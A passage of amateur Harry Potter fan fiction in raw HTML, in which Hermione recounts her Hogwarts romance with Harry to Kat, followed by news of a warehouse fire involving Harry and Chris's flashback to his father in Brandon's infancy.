me in a dilemma!&#8221; Kat said playfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok well&#8230;.&#8221;</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThe next few days we hadn&#8217;t really talked and Ron was getting the idea that we\nwere mad at each other. We even had him trying to get us to make up.&nbsp; But\nany way, more days went by and we still hadn&#8217;t really been talking until we\nwere on our way to Care of Magical Creatures class when he pulled me behind a\ntree and looked me in the eye.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hermione, I really need to talk to you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI looked at him and wondered what was going on, &#8220;What are you talking about\nyour talking to me now.&#8221; I said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Be serious&#8230; it&#8217;s been almost a week since I talked to you at all&#8230; I mean&#8230;you\nknow, you said nothing would change that&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIn a way he was right but in another way he was wrong, he&#8217;d been avoiding me\njust as much as I was avoiding him.&nbsp; I was about to say that when he took\nmy hand, &#8220;Hermione, I know that you don&#8217;t want to hear this but I truly and\nhonestly have strong feelings for you, I would never do anything to make you\nsad or angry, I would care for you like you would never have know in a lifetime\nwere seventeen and I know that it&#8217;s young for feelings like this but I have to\nsay that a day hasn&#8217;t gone by since I&#8217;ve known you that I haven&#8217;t dreamed about\nyou or want to beat Malfoy to a pulp for teasing you&#8230;&#8221; He was totally out of\nbreath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI lowered myself to him on the soft grass, &#8220;Harry I know that but you have to\nunderstand&#8230; you can&#8217;t just tell me this and have a girl return the feelings\nright away&#8230; it&#8217;s happening too fast and I&#8217;m getting confused as to what to\nthink about my own feelings.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry stood up and helped me up as well, &#8220;ok,&#8221; He said simply yet he sounded a\nbit hurt, &#8220;We better get to class we don&#8217;t want to be late.&#8221; He let go of my\nhand and started walking toward our class.&nbsp; I followed him wondering if I\nupset him in some way but then he shoved me into a tree and started laughing\nhis head off.&nbsp; I knew he was ok with that.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIt was late in the year now and things seemed back to normal, Harry and I were\ntalking normally and joking around with each other just like it used to\nbe.&nbsp;&nbsp; This day was a day that stays in my mind forever.&nbsp; I was\nleaving transfiguration class, Harry and Ron had to stay late because they\ntransfigured Malfoy into a squeaky pincushion with flower patterns on\nhim.&nbsp; I told them I would meet them for lunch, so I headed back to my room\nwhen I saw your father in a corner waiting for someone; I figured it was Harry\nand Ron he was waiting for.&nbsp; He looked at me and smirked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hey Mudblood, where&#8217;s your sex?&#8221; He said to me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What are you talking about Malfoy?&#8221; I said to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;You know what I mean.&#8221; He said walking towards me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Obviously I don&#8217;t if I&#8217;m asking you what you&#8217;re talking about.&#8221; I took a big\nstep back</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Where&#8217;s Potter, your shag buddy?&#8221; he said with a drawled voice, taking another\nstep towards me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why, you want to ask\nthem if they could fix your appearance again?&nbsp; God knows it helped both\ntimes&#8230;. Once when Moody turned you into a ferret and what they did today.&#8221;\nAgain I moved away a bit further than I should have. I was at the railing but\nthe stairs and I couldn&#8217;t move anymore and Malfoy came right up to me and said,</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I just wanted to know if he would be here to save you&#8230;&#8221; He trailed off and\nclipped me righ in the nose and over the railing.&nbsp; </p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;MY FATHER DID THAT TO YOU!&#8221;&nbsp; Kat exclaimed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Unfortunately&#8230;yes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Bastered!&#8221; Ste yelled from the kitchen, &#8220;I think he should Die, Die and burn\nin hell!&#8221; Both girls laughed, &#8220;No affecce Kat!&#8221; He added</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Anyway&#8230;.&#8221;</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI fell off the railing and I was screaming for my life that someone would catch\nme, then it happened, I felt someone caught me and squeeze me for dear life&#8230; I\nlooked up and I saw two people there when I blacked out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI woke up in the hospital wing of course and I looked around&#8230; it was night and\nthere were some candles lit in the far corner of the wing just enough to case a\nsoft glimmer around the infirmary.&nbsp; I looked around to see it there was\nanyone in the room besides me and that&#8217;s when I saw him.&nbsp; Ron was sitting\nby my bedside half dead, I gave a soft smile and I flicked his hand with my\nfigures and watched him jump in surprise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe looked down at me and smiled, &#8220;Thought that was funny huh?&#8221; he said softly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;He, he, yea I did.&#8221; I said very soft.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well it wasn&#8217;t&#8230;but I&#8217;ll let it slide this time only cause I like ya.&#8221; He said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Thank you&#8230; where&#8217;s Harry?&#8221; I said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Talking to Dumbledore&#8230;&#8221; he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;How did I get here?&#8221; I asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well you should be preying to the heavens that we came out of that room as\nsoon as you fell into Harry&#8217;s arm&#8217;s.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Oh, stuff it Ron.&#8221; I said</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yea well it&#8217;s true&#8230; Harry caught ya and saw Malfoy leave&#8230; he handed you to me\nand shot up the stairs after the stupid git&#8230; the next thing I heard was\n&#8216;you&#8217;re&#8230;you&#8217;re&#8230; your gonna pay&#8230;&#8217; and I saw Harry come back down and take you up\nhere.&nbsp; The next thing I know Dumbledore came looking for him and he hasn&#8217;t\nbeen back since.&#8221; Ron explained to me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAt that same moment Harry had just opened the door and came over to my bed, he\nsaw that I was awake and had a huge smile on his face, &#8220;Sleeping beauty\nawakes.&#8221; He joked softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yea, but she didn&#8217;t get the kiss from the prince.&#8221; I said to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What the bloody hell are you two talking about?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Nothing&#8230;&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well ya know what&#8230; I&#8217;m going to go&#8230;Harry you better tell me later what\nDumbledore talked to you about&#8230;&#8221; Ron said as he closed the door behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry turned back to me and gave me a smile that showed all emotions&#8230; he put\nhis hand on my cheek and at that moment I felt a shock run threw my body, &#8216;this\nboy&#8230; my best friend in the world&#8230; loved me&#8230;and I love him back!&#8217; I said to\nmyself.&nbsp; I put my hand on his and looked him in the eye. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry I&#8230;&#8221; I never got to finish, Harry had lowered his head to mine and gave\nme a sweet and soft kiss; I accepted it without complaint.&nbsp; He licked my\nbottom lip with his tongue asking for my acceptance of it.&nbsp; I gratefully\nopened my mouth for him.&nbsp; And that is when I knew I was head over heals\nfor this man that I call my husband.</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nKat looked at Hermione in awe, &#8220;Wow, that sounds so romantic!&#8221; Kat said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yes, I know&#8230; I felt so safe with him&#8230;and still do.&nbsp; That&#8217;s why I didn&#8217;t\nobject to you comeing here.&nbsp; I know Harry wouldn&#8217;t let your father take\nyou from us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAt that moment the phone rang, Hermione yelled to Ste if he could answer it\nwhile she picked up the dishes from the living room that the boys left.&nbsp;\nKat helped her and they both made there way into the kitchen.&nbsp; When they\ngot there Ste just hung up the phone and looked at Hermione and Kat.&nbsp; The\ngirls put the cans and paper plates in the trashcan and looked at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Something wrong Ste?&#8221; Hermione asked, &#8220;Or did your father call?&#8221; She joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte looked at her with a heart-crushing look.&nbsp; Kat knew that look; she saw\nthe same look when Ste&#8217;s grandfather died in there fourth year. Something was\nreally wrong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione caught on and asked him, &#8220;Ste what happened?&#8221; Hermione even looked\nworried this time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe gulped trying to hold back tears, &#8220;Ssss&#8230;.sssss&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nNow there was defiantly something wrong, Kat and Hermione both knew that when\nsomething bad happened he would stutter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ste what happened?&#8221; Hermione was getting a bit panicky now, &#8220;Did something\nhappen to you father? Your mother?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Nnnnooo&#8230;. Sss&#8230;.sssomme&#8230;ssssommmething&#8230;hhhhaa&#8230;&#8221; Kat cut him off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ste just nod to my questions if it right or wrong&#8230;ok&#8230;?&#8221; Kat said.&nbsp; Ste\nnodded, &#8220;Ok, something happened to your dad?&#8221; He nodded no, &#8220;Your mother?&#8221;\n&#8216;no&#8217;, &#8220;Chris?&#8221; She said another &#8216;no&#8217;, &#8220;Brandon or his friends?&#8221; another\n&#8216;no&#8217;.&nbsp; Kat got nerves when she said the last person she could think\nof&#8230;.&#8221;Harry&#8230;&#8221;</p>\n\n\n\n<p class="MsoNormal" style="\nborder:none;padding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione had just gotten to the warehouse and saw that Chris was by Harry&#8217;s car\nwaiting for his mother to arrive.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;MUM!&#8221; He yelled when he saw his mother jump out of the car running after her\nson.&nbsp; Tears where streaming down her face as she pulled Chris into a\nlife-shattering hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Wha&#8230;What&#8230;Happened!&#8221; She said threw sobs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Will you guys go find my brother and his friends&#8230;.bring them all here and then\nonly let Brandon out so I can talk to him.&#8221; Chris turned to his mother, &#8220;Mum\ncome with me, Paul would like to speak with you.&#8221;&nbsp; Chris was so content,\nHermione thought he must be in some sort of shock from what he just saw.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione was pulled aside by Paul and a few paramedics and took her away from\nChris out of fear that he might not need to hear what he already knew,\nagain.&nbsp; Kat and Ste got in Hermione&#8217;s car and drove to find Brandon and\nhis friends.&nbsp; Chris looked around at the firefighters around still\nfighting the blazing fire, he walked over to his fathers car and got in the\ndrivers seat.&nbsp; He turned on the car and put in his Good Charlotte Cd in\nand blasted it at maximum sound and laid on the steering wheel and cried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris sat in the car thinking about his father and what had just happened, &#8216;how\ncould he have been so stupid as to do something like that!&#8217; &#8216;he was doing his\njob you git&#8217; &#8216;but without protection!&#8217; &#8216;yea that was a stupid move.&#8217; His head\nwas aching as he argued about it.&nbsp; Then he went into a flashback.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(~**FLASHBACK**~)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris was only three, he was sleeping when his newborn brother Brandon started\ncrying.&nbsp; Chris hated this part about it because it meant he lost\nsleep.&nbsp; He climbed out of bed and walked into his brother&#8217;s room.&nbsp;\nWhen he got there he covered his ears from the waling of his brother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Stupid baby&#8230;shut up and go to bed I want sleep I going to the football game\ntomorrow.&#8221; Chris whined, &#8220;And I don&#8217;t want to fall asleep in the middle of it!&#8221;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris picked out a small bear that was on the floor and dropped it in the crib&#8230;\nit didn&#8217;t stop but made it worse.&nbsp; Brandon must have gotten scared from\nthe bear suddenly appearing in the crib.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris heard footsteps comeing down the hall and saw his father enter the\nroom.&nbsp; Chris ran over to him and tugged on his gray sweat pants that he\nwas sleeping in, &#8220;Dad, make him shut up! I need sleep too!&#8221; he said to his\nfather.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry gave him a sleepy smile and grunted as he picked Chris up and put him on\nthe changing table, &#8220;How&#8217;s about you help me change your brother so we could\nboth get some sleep.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;As long as I don&#8217;t have to touch it.&#8221; Chris said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, but you can get me a fresh diaper from that drawer under you there.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris looked at the drawer and opened it and took out a diaper with magic\ndragons and wands around the brim of the diaper.&nbsp; He handed it to his\nfather as he cleaned Brandon up.&nbsp; After Harry put the new diaper in he set\nBrandon in his crib he took the diaper and handed it to Chris, &#8220;Throw that\naway&#8230;&#8221; He said sleepily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;EEEEEEEEWWWWWWW! No WAY!&#8221; Chris yelled as he covered his nose and pushed the\ndiaper away from his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Heh, heh, heh.&#8221; Harry laughed as he threw the diaper in the garbage by the\nchanging station.&nbsp; Harry lifted Chris in his arms, &#8220;Happy now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yup, yup, yup!&#8221; He said hugging his father.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;You thirsty screwball?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Screwball?&#8221; Chris made a weird face with his eyebrows and looked at his\nfather, &#8220;I don&#8217;t know what a screwball is but I&#8217;m tirsty!&#8221; (a/n: Chris had good\nvocab for a three year old don&#8217;t ya think?)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry laughed and carried Chris down to the kitchen.&nbsp; When they got there\nHarry put Chris in his BIG boy Booster seat and the table and walked over to\nthe stove and magically boiled some water.&nbsp; He grabbed to mugs and put two\nspoonfuls of coco mix into them and poured the hot water in them.&nbsp; He\nhanded Chris his mug with a straw in it and pulled out a small plate of sugar\ncookies Hermione had made the day before. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Dad&#8230;you know I like milk instead of water in my coco!&#8221; Chris said to his dad\ntaking a cookie and taking a big bite out of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry snapped his fingers under the table and said to Chris, &#8220;Just drink your\nhot coco.&#8221; He said taking a sip out of his mug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris sipped the coco slowly threw the straw so he wouldn&#8217;t burn his mouth and\nwhen he had a good amount in his mouth he smiled at his father, &#8220;It&#8217;s not water\nanymore!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris was too young to understand magic so when something weird happened around\nhim Hermione or Harry would tell him it was normal.&nbsp; Harry took a cookie\nand took a bit out if it like Chris had trying to make a simple joke,\nunfortunately Chris hadn&#8217;t noticed&nbsp; and just teased him about making a\nmess.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Don&#8217;t tell mum about this&#8230; she&#8217;ll have a house!&#8221; Harry whispered whipping up\nthe crumbs he had made on the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok&#8230; our wittle secret.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris took another sip out of his mug and looked at his dad, &#8220;Dad&#8230; is our lives\ngonna change since Brandon is here&#8230; I mean&#8230; will you and mummy forget about me\nand think only about him?&#8221; Chris asked looking down at his cookie with the bite\ntaken out 